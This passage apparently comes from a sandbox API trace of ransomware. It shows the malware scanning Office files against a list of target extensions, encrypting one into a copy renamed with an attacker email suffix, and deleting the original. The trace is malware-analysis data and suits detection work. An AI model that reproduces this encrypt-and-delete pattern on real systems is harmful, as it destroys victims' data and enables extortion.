Files\\Microsoft Office\\Office14\\CMAX20.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\cmax20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0151.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0151.866] lstrlenW (lpString=".doc") returned 4 [0151.866] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0151.866] lstrlenW (lpString=".docx") returned 5 [0151.866] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0151.866] lstrlenW (lpString=".pdf") returned 4 [0151.866] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0151.866] lstrlenW (lpString=".xls") returned 4 [0151.866] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0151.866] lstrlenW (lpString=".xlsx") returned 5 [0151.866] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0151.866] lstrlenW (lpString=".ppt") returned 4 [0151.866] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0151.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0151.866] lstrlenW (lpString=".zip") returned 4 [0151.866] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0151.866] lstrlenW (lpString=".rar") returned 4 [0151.866] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0151.866] lstrlenW (lpString=".bz2") returned 4 [0151.866] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0151.866] lstrlenW (lpString=".7z") returned 3 [0151.866] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0151.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0151.867] lstrlenW (lpString=".dbf") returned 4 [0151.867] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0151.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0151.867] lstrlenW (lpString=".1cd") returned 4 [0151.867] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0151.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0151.867] lstrlenW (lpString=".jpg") returned 4 [0151.867] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0151.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0151.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0151.867] lstrlenW (lpString=".doc") returned 4 [0151.867] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0151.867] lstrlenW (lpString=".docx") returned 5 [0151.867] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0151.867] lstrlenW (lpString=".pdf") returned 4 [0151.867] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0151.867] lstrlenW (lpString=".xls") returned 4 [0151.867] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0151.867] lstrlenW (lpString=".xlsx") returned 5 [0151.867] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0151.867] lstrlenW (lpString=".ppt") returned 4 [0151.867] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0151.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0151.867] lstrlenW (lpString=".zip") returned 4 [0151.867] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0151.867] lstrlenW (lpString=".rar") returned 4 [0151.867] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0151.867] lstrlenW (lpString=".bz2") returned 4 [0151.867] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0151.867] lstrlenW (lpString=".7z") returned 3 [0151.867] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0151.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0151.867] lstrlenW (lpString=".dbf") returned 4 [0151.868] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0151.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0151.868] lstrlenW (lpString=".1cd") returned 4 [0151.868] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0151.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0151.868] lstrlenW (lpString=".jpg") returned 4 [0151.868] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0151.868] lstrcmpiW (lpString1=".EXE", lpString2=".LIVE") returned -1 [0151.868] lstrlenW (lpString="CNFNOT32.EXE") returned 12 [0151.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\cnfnot32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0151.869] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=225632) returned 1 [0151.869] CloseHandle (hObject=0x3a0) returned 1 [0151.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\cnfnot32.exe")) returned 0x20 [0151.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\cnfnot32.exe.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\cnfnot32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0151.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0151.869] lstrlenW (lpString=".doc") returned 4 [0151.869] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0151.869] lstrlenW (lpString=".docx") returned 5 [0151.869] lstrcmpiW (lpString1=".docx", lpString2="2.EXE") returned -1 [0151.869] lstrlenW (lpString=".pdf") returned 4 [0151.869] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0151.869] lstrlenW (lpString=".xls") returned 4 [0151.869] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0151.869] lstrlenW (lpString=".xlsx") returned 5 [0151.869] lstrcmpiW (lpString1=".xlsx", lpString2="2.EXE") returned -1 [0151.869] lstrlenW (lpString=".ppt") returned 4 [0151.869] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0151.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0151.869] lstrlenW (lpString=".zip") returned 4 [0151.870] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0151.870] lstrlenW (lpString=".rar") returned 4 [0151.870] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0151.870] lstrlenW (lpString=".bz2") returned 4 [0151.870] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0151.870] lstrlenW (lpString=".7z") returned 3 [0151.870] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0151.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0151.870] lstrlenW (lpString=".dbf") returned 4 [0151.870] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0151.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0151.870] lstrlenW (lpString=".1cd") returned 4 [0151.870] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0151.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0151.870] lstrlenW (lpString=".jpg") returned 4 [0151.870] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0151.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0151.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0151.870] lstrlenW (lpString=".doc") returned 4 [0151.870] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0151.870] lstrlenW (lpString=".docx") returned 5 [0151.870] lstrcmpiW (lpString1=".docx", lpString2="2.EXE") returned -1 [0151.870] lstrlenW (lpString=".pdf") returned 4 [0151.870] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0151.870] lstrlenW (lpString=".xls") returned 4 [0151.870] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0151.870] lstrlenW (lpString=".xlsx") returned 5 [0151.870] lstrcmpiW (lpString1=".xlsx", lpString2="2.EXE") returned -1 [0151.870] lstrlenW (lpString=".ppt") returned 4 [0151.870] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0151.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0151.870] lstrlenW (lpString=".zip") returned 4 [0151.870] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0151.871] lstrlenW (lpString=".rar") returned 4 [0151.871] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0151.871] lstrlenW (lpString=".bz2") returned 4 [0151.871] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0151.871] lstrlenW (lpString=".7z") returned 3 [0151.871] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0151.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0151.871] lstrlenW (lpString=".dbf") returned 4 [0151.871] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0151.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0151.871] lstrlenW (lpString=".1cd") returned 4 [0151.871] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0151.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0151.871] lstrlenW (lpString=".jpg") returned 4 [0151.871] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0151.871] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0151.871] lstrlenW (lpString="CODEEDIT.DLL") returned 12 [0151.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\codeedit.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0151.872] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=53128) returned 1 [0151.872] CloseHandle (hObject=0x3a0) returned 1 [0151.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\codeedit.dll")) returned 0x20 [0151.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\codeedit.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\codeedit.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0151.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0151.872] lstrlenW (lpString=".doc") returned 4 [0151.872] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0151.872] lstrlenW (lpString=".docx") returned 5 [0151.872] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0151.872] lstrlenW (lpString=".pdf") returned 4 [0151.872] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0151.872] lstrlenW (lpString=".xls") returned 4 [0151.873] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0151.873] lstrlenW (lpString=".xlsx") returned 5 [0151.873] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0151.873] lstrlenW (lpString=".ppt") returned 4 [0151.873] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0151.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0151.873] lstrlenW (lpString=".zip") returned 4 [0151.873] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0151.873] lstrlenW (lpString=".rar") returned 4 [0151.873] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0151.873] lstrlenW (lpString=".bz2") returned 4 [0151.873] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0151.873] lstrlenW (lpString=".7z") returned 3 [0151.873] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0151.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0151.873] lstrlenW (lpString=".dbf") returned 4 [0151.873] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0151.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0151.873] lstrlenW (lpString=".1cd") returned 4 [0151.873] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0151.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0151.873] lstrlenW (lpString=".jpg") returned 4 [0151.873] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0151.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0151.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0151.873] lstrlenW (lpString=".doc") returned 4 [0151.873] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0151.873] lstrlenW (lpString=".docx") returned 5 [0151.873] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0151.873] lstrlenW (lpString=".pdf") returned 4 [0151.873] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0151.873] lstrlenW (lpString=".xls") returned 4 [0151.873] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0151.874] lstrlenW (lpString=".xlsx") returned 5 [0151.874] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0151.874] lstrlenW (lpString=".ppt") returned 4 [0151.874] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0151.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0151.874] lstrlenW (lpString=".zip") returned 4 [0151.874] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0151.874] lstrlenW (lpString=".rar") returned 4 [0151.874] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0151.874] lstrlenW (lpString=".bz2") returned 4 [0151.874] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0151.874] lstrlenW (lpString=".7z") returned 3 [0151.874] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0151.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0151.874] lstrlenW (lpString=".dbf") returned 4 [0151.874] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0151.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0151.874] lstrlenW (lpString=".1cd") returned 4 [0151.874] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0151.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0151.874] lstrlenW (lpString=".jpg") returned 4 [0151.874] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0151.874] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0151.874] lstrlenW (lpString="CONTAB32.DLL") returned 12 [0151.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\contab32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0151.875] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=183160) returned 1 [0151.875] CloseHandle (hObject=0x3a0) returned 1 [0151.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\contab32.dll")) returned 0x20 [0151.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\contab32.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\contab32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0151.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0151.876] lstrlenW (lpString=".doc") returned 4 [0151.876] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0151.876] lstrlenW (lpString=".docx") returned 5 [0151.876] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0151.876] lstrlenW (lpString=".pdf") returned 4 [0151.876] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0151.876] lstrlenW (lpString=".xls") returned 4 [0151.876] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0151.876] lstrlenW (lpString=".xlsx") returned 5 [0151.876] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0151.876] lstrlenW (lpString=".ppt") returned 4 [0151.876] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0151.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0151.876] lstrlenW (lpString=".zip") returned 4 [0151.876] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0151.876] lstrlenW (lpString=".rar") returned 4 [0151.876] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0151.876] lstrlenW (lpString=".bz2") returned 4 [0151.876] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0151.876] lstrlenW (lpString=".7z") returned 3 [0151.876] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0151.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0151.876] lstrlenW (lpString=".dbf") returned 4 [0151.876] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0151.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0151.943] lstrlenW (lpString=".1cd") returned 4 [0151.943] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0151.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0151.943] lstrlenW (lpString=".jpg") returned 4 [0151.943] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0151.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0151.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0151.943] lstrlenW (lpString=".doc") returned 4 [0151.943] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0151.943] lstrlenW (lpString=".docx") returned 5 [0151.943] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0151.943] lstrlenW (lpString=".pdf") returned 4 [0151.943] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0151.944] lstrlenW (lpString=".xls") returned 4 [0151.944] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0151.944] lstrlenW (lpString=".xlsx") returned 5 [0151.944] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0151.944] lstrlenW (lpString=".ppt") returned 4 [0151.944] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0151.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0151.944] lstrlenW (lpString=".zip") returned 4 [0151.944] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0151.944] lstrlenW (lpString=".rar") returned 4 [0151.944] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0151.944] lstrlenW (lpString=".bz2") returned 4 [0151.944] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0151.944] lstrlenW (lpString=".7z") returned 3 [0151.944] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0151.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0151.944] lstrlenW (lpString=".dbf") returned 4 [0151.944] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0151.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0151.944] lstrlenW (lpString=".1cd") returned 4 [0151.944] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0151.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0151.944] lstrlenW (lpString=".jpg") returned 4 [0151.944] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0151.944] lstrcmpiW (lpString1=".FAE", lpString2=".LIVE") returned -1 [0151.944] lstrlenW (lpString="DELIMR.FAE") returned 10 [0151.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\delimr.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0152.282] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=10144) returned 1 [0152.282] CloseHandle (hObject=0x1f8) returned 1 [0152.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\delimr.fae")) returned 0x20 [0152.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\delimr.fae.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0152.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\delimr.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0152.589] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.589] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\delimr.fae.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0152.590] GetLastError () returned 0x0 [0152.590] ReadFile (in: hFile=0x350, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x27a0, lpOverlapped=0x0) returned 1 [0152.634] WriteFile (in: hFile=0x380, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x27b0, lpOverlapped=0x0) returned 1 [0152.635] ReadFile (in: hFile=0x350, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0152.635] WriteFile (in: hFile=0x380, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0152.635] SetEndOfFile (hFile=0x380) returned 1 [0152.635] CloseHandle (hObject=0x380) returned 1 [0152.635] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.635] SetEndOfFile (hFile=0x350) returned 1 [0152.638] CloseHandle (hObject=0x350) returned 1 [0152.638] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0152.675] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\delimr.fae")) returned 1 [0152.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0152.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0152.675] lstrlenW (lpString=".doc") returned 4 [0152.675] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0152.675] lstrlenW (lpString=".docx") returned 5 [0152.675] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0152.676] lstrlenW (lpString=".pdf") returned 4 [0152.676] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0152.676] lstrlenW (lpString=".xls") returned 4 [0152.676] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0152.676] lstrlenW (lpString=".xlsx") returned 5 [0152.676] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0152.676] lstrlenW (lpString=".ppt") returned 4 [0152.676] lstrcmpiW (lpString1=".ppt", 